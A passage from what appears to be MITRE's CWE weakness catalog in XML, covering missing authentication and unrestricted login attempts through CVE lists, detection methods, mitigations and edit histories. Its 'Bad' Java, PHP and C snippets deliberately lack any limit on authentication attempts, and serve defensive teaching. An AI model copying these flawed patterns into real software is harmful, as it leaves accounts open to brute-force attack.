	      <Intro_Text>In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.</Intro_Text>
	      <Body_Text>Multiple vendors did not use any authentication for critical functionality in their OT products.</Body_Text>
	    </Demonstrative_Example>
	    <Demonstrative_Example Demonstrative_Example_ID="DX-155">
	      <Intro_Text>In 2021, a web site operated by PeopleGIS stored data of US municipalities in Amazon Web Service (AWS) Simple Storage Service (S3) buckets.</Intro_Text>
	      <Example_Code Nature="Bad" Language="Other">
                <xhtml:div>A security researcher found 86 S3 buckets that could be accessed without authentication (CWE-306) and stored data unencrypted (CWE-312). These buckets exposed over 1000 GB of data and 1.6 million files including physical addresses, phone numbers, tax documents, pictures of driver's license IDs, etc. [REF-1296] [REF-1295]</xhtml:div>
	      </Example_Code>
	      <Body_Text>While it was not publicly disclosed how the data was protected after discovery, multiple options could have been considered.</Body_Text>
	      <Example_Code Nature="Good" Language="Other">
                <xhtml:div>The sensitive information could have been protected by ensuring that the buckets did not have public read access, e.g., by enabling the s3-account-level-public-access-blocks-periodic rule to Block Public Access. In addition, the data could have been encrypted at rest using the appropriate S3 settings, e.g., by enabling server-side encryption using the s3-bucket-server-side-encryption-enabled setting. Other settings are available to further prevent bucket data from being leaked. [REF-1297]</xhtml:div>
	      </Example_Code>
	    </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-29951</Reference>
               <Description>TCP-based protocol in Programmable Logic Controller (PLC) has no authentication.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-29951</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-29952</Reference>
               <Description>Condition Monitor firmware uses a protocol that does not require authentication.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-29952</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-30276</Reference>
               <Description>SCADA-based protocol for bridging WAN and LAN traffic has no authentication.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-30276</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-30313</Reference>
               <Description>Safety Instrumented System uses proprietary TCP protocols with no authentication.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-30313</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-30317</Reference>
               <Description>Distributed Control System (DCS) uses a protocol that has no authentication.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-30317</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-21972</Reference>
               <Description>Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses .. path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-21972</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-37415</Reference>
               <Description>IT management product does not perform authentication for some REST API requests, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-37415</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-13927</Reference>
               <Description>Default setting in workflow management product allows all API requests without authentication, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-13927</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1810</Reference>
               <Description>MFV. Access TFTP server without authentication and obtain configuration file with sensitive plaintext information.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1810</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-6827</Reference>
               <Description>Agent software running at privileges does not authenticate incoming requests over an unprotected channel, allowing a Shatter" attack.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-6827</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0213</Reference>
               <Description>Product enforces restrictions through a GUI but not through privileged APIs.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0213</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-15483</Reference>
               <Description>monitor device allows access to physical UART debug port without authentication</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-15483</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2019-9201</Reference>
               <Description>Programmable Logic Controller (PLC) does not have an authentication feature on its communication protocols.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2019-9201</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>No Authentication for Critical Function</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP31</Entry_ID>
               <Entry_Name>Missing authentication</Entry_Name>
            </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-2</Entry_ID>
	      <Entry_Name>Req CR 1.1</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-2</Entry_ID>
	      <Entry_Name>Req CR 1.2</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-2</Entry_ID>
	      <Entry_Name>Req CR 2.1</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-1</Entry_ID>
	      <Entry_Name>Req SR-2</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-1</Entry_ID>
	      <Entry_Name>Req SVV-3</Entry_Name>
	    </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="12"/>
            <Related_Attack_Pattern CAPEC_ID="166"/>
            <Related_Attack_Pattern CAPEC_ID="216"/>
            <Related_Attack_Pattern CAPEC_ID="36"/>
            <Related_Attack_Pattern CAPEC_ID="62"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 2, &#34;Common Vulnerabilities of Authentication,&#34; Page 36"/>
            <Reference External_Reference_ID="REF-257"/>
            <Reference External_Reference_ID="REF-45"/>
            <Reference External_Reference_ID="REF-1283"/>
            <Reference External_Reference_ID="REF-1295"/>
            <Reference External_Reference_ID="REF-1296"/>
            <Reference External_Reference_ID="REF-1297"/>
            <Reference External_Reference_ID="REF-1298"/>
            <Reference External_Reference_ID="REF-1302"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Observed_Examples, Potential_Mitigations, References, Relationship_Notes, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Mapping CWE to 62443" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-04-25</Contribution_Date>
               <Contribution_Comment>Suggested mappings to ISA/IEC 62443.</Contribution_Comment>
            </Contribution>
            <Previous_Entry_Name Date="2010-02-16">No Authentication for Critical Function</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="307" Name="Improper Restriction of Excessive Authentication Attempts" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame, making it more susceptible to brute force attacks.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1390" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="287" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="799" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>An attacker could perform an arbitrary number of authentication attempts using different passwords, and eventually gain access to the targeted account.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Dynamic Analysis with Automated Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Web Application Scanner</xhtml:li>
                           <xhtml:li>Web Services Scanner</xhtml:li>
                           <xhtml:li>Database Scanners</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Fuzz Tester</xhtml:li>
                           <xhtml:li>Framework-based Fuzzer</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Forced Path Execution</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Configuration Checker</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>Common protection mechanisms include:</xhtml:p>
                     <xhtml:ul>
                        <xhtml:li>Disconnecting the user after a small number of failed attempts</xhtml:li>
                        <xhtml:li>Implementing a timeout</xhtml:li>
                        <xhtml:li>Locking out a targeted account</xhtml:li>
                        <xhtml:li>Requiring a computational task on the user's part.</xhtml:li>
                     </xhtml:ul>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-4">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>Consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator. [REF-45]</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-117">
               <Intro_Text>In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts [REF-236]. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force attack by guessing a large number of common words. After gaining access as the member of the support staff, the attacker used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.</Intro_Text>
               <References>
                  <Reference External_Reference_ID="REF-236"/>
               </References>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code, extracted from a servlet's doPost() method, performs an authentication lookup every time the servlet is invoked.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String username = request.getParameter("username");<xhtml:br/>String password = request.getParameter("password");<xhtml:br/>
                     <xhtml:br/>int authResult = authenticateUser(username, password);</xhtml:div>
               </Example_Code>
               <Body_Text>However, the software makes no attempt to restrict excessive authentication attempts.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>This code attempts to limit the number of login attempts by causing the process to sleep before completing the authentication.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>$username = $_POST['username'];<xhtml:br/>$password = $_POST['password'];<xhtml:br/>sleep(2000);<xhtml:br/>$isAuthenticated = authenticateUser($username, $password);</xhtml:div>
               </Example_Code>
               <Body_Text>However, there is no limit on parallel connections, so this does not increase the amount of time an attacker needs to complete an attack.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In the following C/C++ example the validateUser method opens a socket connection, reads a username and password from the socket and attempts to authenticate the username and password.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int validateUser(char *host, int port)<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                        <xhtml:div>int socket = openSocketConnection(host, port);<xhtml:br/>if (socket &lt; 0) {<xhtml:div style="margin-left:1em;">printf("Unable to open socket connection");<xhtml:br/>return(FAIL);</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>int isValidUser = 0;<xhtml:br/>char username[USERNAME_SIZE];<xhtml:br/>char password[PASSWORD_SIZE];<xhtml:br/>
                           <xhtml:br/>while (isValidUser == 0) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>if (getNextMessage(socket, username, USERNAME_SIZE) &gt; 0) {<xhtml:div style="margin-left:1em;">if (getNextMessage(socket, password, PASSWORD_SIZE) &gt; 0) {<xhtml:div style="margin-left:1em;">isValidUser = AuthenticateUser(username, password);</xhtml:div>}</xhtml:div>}</xhtml:div>
                           </xhtml:div>}<xhtml:br/>return(SUCCESS);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The validateUser method will continuously check for a valid username and password without any restriction on the number of authentication attempts made. The method should limit the number of authentication attempts made to prevent brute force attacks as in the following example code.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>int validateUser(char *host, int port)<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                        <xhtml:div>...<xhtml:br/>
                           <xhtml:br/>int count = 0;<xhtml:br/>while ((isValidUser == 0) &amp;&amp; (count &lt; MAX_ATTEMPTS)) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>if (getNextMessage(socket, username, USERNAME_SIZE) &gt; 0) {<xhtml:div style="margin-left:1em;">if (getNextMessage(socket, password, PASSWORD_SIZE) &gt; 0) {<xhtml:div style="margin-left:1em;">isValidUser = AuthenticateUser(username, password);</xhtml:div>}</xhtml:div>}<xhtml:br/>count++;</xhtml:div>
                           </xhtml:div>}<xhtml:br/>if (isValidUser) {<xhtml:div style="margin-left:1em;">return(SUCCESS);</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">return(FAIL);</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
		  <Demonstrative_Example>
		    <Intro_Text>Consider this example from a
		    real-world attack against the iPhone
		    [REF-1218]. An attacker can use brute force
		    methods; each time there is a failed guess, the
		    attacker quickly cuts the power before the failed
		    entry is recorded, effectively bypassing the
		    intended limit on the number of failed
		    authentication attempts. Note that this attack
		    requires removal of the cell phone battery and
		    connecting directly to the phone's power source,
		    and the brute force attack is still
		    time-consuming.</Intro_Text>
		  </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2019-0039</Reference>
               <Description>the REST API for a network OS has a high limit for number of connections, allowing brute force password guessing </Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2019-0039</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-1152</Reference>
               <Description>Product does not disconnect or timeout after multiple failed logins.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1152</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1291</Reference>
               <Description>Product does not disconnect or timeout after multiple failed logins.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1291</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0395</Reference>
               <Description>Product does not disconnect or timeout after multiple failed logins.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0395</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1339</Reference>
               <Description>Product does not disconnect or timeout after multiple failed logins.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1339</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0628</Reference>
               <Description>Product does not disconnect or timeout after multiple failed logins.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0628</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-1324</Reference>
               <Description>User accounts not disabled when they exceed a threshold; possibly a resultant problem.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1324</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_ID>AUTHENT.MULTFAIL</Entry_ID>
               <Entry_Name>Multiple Failed Authentication Attempts not Prevented</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP34</Entry_ID>
               <Entry_Name>Unrestricted authentication</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="16"/>
            <Related_Attack_Pattern CAPEC_ID="49"/>
            <Related_Attack_Pattern CAPEC_ID="560"/>
            <Related_Attack_Pattern CAPEC_ID="565"/>
            <Related_Attack_Pattern CAPEC_ID="600"/>
            <Related_Attack_Pattern CAPEC_ID="652"/>
            <Related_Attack_Pattern CAPEC_ID="653"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-45"/>
            <Reference External_Reference_ID="REF-236"/>
            <Reference External_Reference_ID="REF-1218"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Name, Potential_Mitigations, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
